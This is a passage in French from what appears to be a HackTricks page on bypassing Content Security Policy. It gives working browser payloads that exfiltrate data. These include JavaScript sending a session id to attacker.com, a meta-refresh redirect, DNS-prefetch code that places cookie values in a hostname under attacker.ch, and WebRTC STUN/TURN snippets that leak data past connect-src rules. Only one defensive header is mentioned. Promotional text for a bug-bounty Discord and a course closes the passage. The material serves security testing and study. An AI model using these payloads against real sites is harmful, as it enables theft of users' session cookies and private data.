document.location = "https://attacker.com/?" + sessionid;

Balise Meta

Vous pourriez rediriger en injectant une balise meta (ceci est juste une redirection, cela ne divulguera pas le contenu)

<meta http-equiv="refresh" content="1; http://attacker.com">

Préchargement DNS

Pour accélérer le chargement des pages, les navigateurs vont pré-résoudre les noms d'hôte en adresses IP et les mettre en cache pour une utilisation ultérieure.
Vous pouvez indiquer à un navigateur de pré-résoudre un nom d'hôte avec : <link rel="dns-prefetch" href="something.com">

Vous pourriez abuser de ce comportement pour exfiltrer des informations sensibles via des requêtes DNS :

var sessionid = document.cookie.split('=')[1]+".";
var body = document.getElementsByTagName('body')[0];
body.innerHTML = body.innerHTML + "<link rel=\"dns-prefetch\" href=\"//" + sessionid + "attacker.ch\">";

Une autre méthode :

const linkEl = document.createElement('link');
linkEl.rel = 'prefetch';
linkEl.href = urlWithYourPreciousData;
document.head.appendChild(linkEl);

Afin d'éviter cela, le serveur peut envoyer l'en-tête HTTP :

X-DNS-Prefetch-Control: off

{% hint style="info" %} Apparemment, cette technique ne fonctionne pas dans les navigateurs sans tête (bots) {% endhint %}

WebRTC

Sur plusieurs pages, vous pouvez lire que WebRTC ne vérifie pas la politique connect-src du CSP.

En réalité, vous pouvez fuir des informations en utilisant une requête DNS. Regardez ce code :

(async()=>{p=new RTCPeerConnection({iceServers:[{urls: "stun:LEAK.dnsbin"}]});p.createDataChannel('');p.setLocalDescription(await p.createOffer())})()

Une autre option :

var pc = new RTCPeerConnection({
"iceServers":[
{"urls":[
"turn:74.125.140.127:19305?transport=udp"
],"username":"_all_your_data_belongs_to_us",
"credential":"."
}]
});
pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp);

Vérification des politiques CSP en ligne

Création automatique de CSP

https://csper.io/docs/generating-content-security-policy

Références

Rejoignez le serveur HackenProof Discord pour communiquer avec des hackers expérimentés et des chasseurs de primes de bugs !

Aperçus sur le Hacking
Engagez-vous avec du contenu qui plonge dans l'excitation et les défis du hacking.

Actualités du Hacking en Temps Réel
Restez à jour avec le monde du hacking rapide grâce à des nouvelles et des aperçus en temps réel.

Dernières Annonces
Restez informé avec les derniers lancements de primes de bugs et les mises à jour cruciales de la plateforme.

Rejoignez-nous sur Discord et commencez à collaborer avec les meilleurs hackers dès aujourd'hui !

Apprenez le hacking AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)!

Autres moyens de soutenir HackTricks :